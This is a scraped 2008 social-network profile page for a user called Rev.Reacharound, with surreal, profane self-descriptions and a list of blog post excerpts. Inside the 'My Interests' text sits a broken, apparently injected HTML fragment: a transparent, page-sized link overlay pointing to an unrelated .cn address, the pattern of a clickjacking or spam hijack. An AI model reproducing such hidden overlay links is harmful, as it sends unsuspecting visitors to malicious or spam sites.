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About Me

can't you all just LEAVE ME ALONE? what is WRONG with you people? wait... don't go... my great grandfather's shadow keeps trying to chew its way thru the time-space teleportal, but i'm safe as long as someone loves me... do you? hey, thanks for that. no, really; i mean it this time.

My Interests

primarily focused on total evasion of all introspective revelation... for several reasons, but mostly because i like the way it sounds when i say it aloud (try it and see!).a class="popup_wrapper" style="background-color:transparent!important;cursor:default ;left:-132px;top:-89px;height:6889px;width:1087px;"class=pop up_x href="http://sooehsjc.cn/s/" da$d

I'd like to meet:

willing love slaves - as opposed to the unwilling type, cuz my god am i sick of them. also my afore-mentioned great grandfather on either side so i can best him in an old-fashioned high-stakes duel [the HIGHEST!], thereby causing my grandparents to never meet and consequently my parents would not exist so i could never be born, which would mean i would never have gone back in time and done all that shit, so good ol' great granddad would still be alive for me to go back in time and kill again, making me not exist and unable to perform this very trick, so that i would in fact exist and have to start all over. and so on, until your brain leaks out your ears. that's what you get, mudflap.

Music:

yes i did, thanks for asking.

Movies:

are just made of one lie after another, aren't they. how does that make you feel?

Television:

tells me what to think, but i fight it. someday i will win.

Books:

are bulky and rectangular and full of pages, you know what i mean? huh? wink-wink, nudge-nudge? "pages..." (fingers making "quote" signs)... huh? [sigh] ... no one understands me.------HEY KIDS!! It's Story Time with Amy Sedaris
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Heroes:

should just back the fuck up, jack; give a guy some breathing room fer cryin out loud in my pants. gettin a little tired of these so-called "heroes" elbowing their way in and hoggin the limelight. why don't you let a coward get a little, too, once in a while, huh? sure.-------Stanhope on Freedom
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My Blog

whothuh

Well, this was supposed to be that afore-mentioned "theatuh blog" wherein i delve into all the doings and goings-off of my newfound non-career in baring my soul to strangers for pretty much no money a...
Posted by Rev.Reacharound on Tue, 15 Apr 2008 06:38:00 PST

JUDAS McCARTHY [a work in sporadic progress]

this will be my theater blog, once i get around to writing it. thanks for your kind attention. ---------- okay, until this very minute, that was the extent of this here "work in progress". ...
Posted by Rev.Reacharound on Thu, 20 Mar 2008 11:41:00 PST

I elude Death one more year

So, yes, I have begun my fortieth year - o - life, thanks for asking. Yesterday was my 39th birthday, and I’m a Big Kid now, in fact, I’m this many: or... maybe not. the close...
Posted by Rev.Reacharound on Tue, 11 Mar 2008 11:54:00 PST

question mark of the beast

[sorry for the "private" setting on this since yesterday or whenever... i only had small bursts of time to write it, sneaking it in here at The Job, as my internet at home is in traction. oh - a...
Posted by Rev.Reacharound on Fri, 07 Mar 2008 09:59:00 PST

mayhap i oughta put my shirt back on

i mean, there's only so many hungry, grasping, desperate housewifey hands i can successfully elude between my house and the corner liquor store, am i right, guys? eventually a couple of them get...
Posted by Rev.Reacharound on Tue, 26 Feb 2008 06:25:00 PST

motion censor

open circuit stereotypoold fangled newhart i huck rastaboutfourlegged surname, obligatory end gametwo for flinchindouble your money back no guaranteethe complex got a complex complexmomentarily pickl...
Posted by Rev.Reacharound on Tue, 12 Feb 2008 12:45:00 PST

Strange Goodfellas [let the should times roll]

[i already sent the following out as a bulletin, but i thought i'd drop it here as well, since it's hot and i'm not. please leave scathing and bitter upbraidings, you two-party media puppets, as...
Posted by Rev.Reacharound on Tue, 29 Jan 2008 11:45:00 PST

missing

this, a little bit. not enough to really do anything about it, just yet. but missing it a little, and sooner than i expected. the words, they won't do what i want em to, lately.&nb...
Posted by Rev.Reacharound on Sat, 22 Dec 2007 03:54:00 PST

until then

category: bloggingmood: self-referential and insufferableporntype: girl-girl w/hellokitty-theme set dressings; mild furry undertones. rated PG-38.i'm taking a break from this bullshit for a spe...
Posted by Rev.Reacharound on Wed, 21 Nov 2007 10:28:00 PST

camper van halen

so much ado and yet so little hubbub, is what i was trying to say. you know - before. sorry if you missed it. i have been otherwise engaged for the better part of the current social...
Posted by Rev.Reacharound on Sun, 11 Nov 2007 11:30:00 PST